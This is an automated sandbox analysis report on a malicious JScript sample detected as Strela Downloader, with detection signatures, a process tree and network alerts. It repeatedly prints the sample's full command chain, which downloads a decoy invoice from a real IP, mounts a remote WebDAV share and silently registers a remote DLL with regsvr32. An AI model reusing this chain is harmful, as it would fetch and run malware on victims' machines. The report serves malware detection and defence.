Edit tour

Windows Analysis Report
225008411339129134.js

Overview

General Information

Sample name:	225008411339129134.js
Analysis ID:	1588055
MD5:	ce06c6de271d5e89ac8c434597a8e656
SHA1:	9c094c3ade006f3288b84361a492693bfc45f8ae
SHA256:	145b0c8a638fdfaca112ef951dd81c819a4330cd3a8ecdd23c5f3fb02fdfd0dd
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 3560 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\225008411339129134.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 2656 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\119801817825151.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 2508 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 6756 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 3168 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 2884 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 5568 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2116 --field-trial-handle=1752,i,9395285687119838462,18365448632051607,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 612 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 1576 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 2724 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 3560	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\119801817825151.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2656, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 6756, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\119801817825151.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2656, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 6756, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\225008411339129134.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\225008411339129134.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\225008411339129134.js", ProcessId: 3560, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 1576, Protocol: tcp, SourceIp: 192.168.2.5, SourceIsIpv6: false, SourcePort: 49705

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\119801817825151.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\119801817825151.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\225008411339129134.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3560, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\119801817825151.dll, ProcessId: 2656, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\119801817825151.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\119801817825151.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\225008411339129134.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3560, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\119801817825151.dll, ProcessId: 2656, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\119801817825151.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\119801817825151.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\225008411339129134.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3560, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\119801817825151.dll, ProcessId: 2656, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\119801817825151.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\119801817825151.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\225008411339129134.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3560, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\119801817825151.dll, ProcessId: 2656, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\119801817825151.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\119801817825151.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\225008411339129134.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3560, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\119801817825151.dll, ProcessId: 2656, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\225008411339129134.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\225008411339129134.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\225008411339129134.js", ProcessId: 3560, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\119801817825151.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2656, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 6756, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 612, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 1576, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 2724, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 612, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 1576, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\119801817825151.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\119801817825151.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\225008411339129134.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3560, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\119801817825151.dll, ProcessId: 2656, ProcessName: cmd.exe

Suricata Signatures

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T20:52:06.956246+0100	1810005	1	Potentially Bad Traffic	192.168.2.5	49705	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T20:52:04.463655+0100	1810000	2	Potentially Bad Traffic	192.168.2.5	49704	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 225008411339129134.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 225008411339129134.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.5:49705 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 19:52:04 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49705

Source: global traffic

TCP traffic: 192.168.2.5:49705 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.5:49704 -> 193.143.1.205:80

Source: global traffic

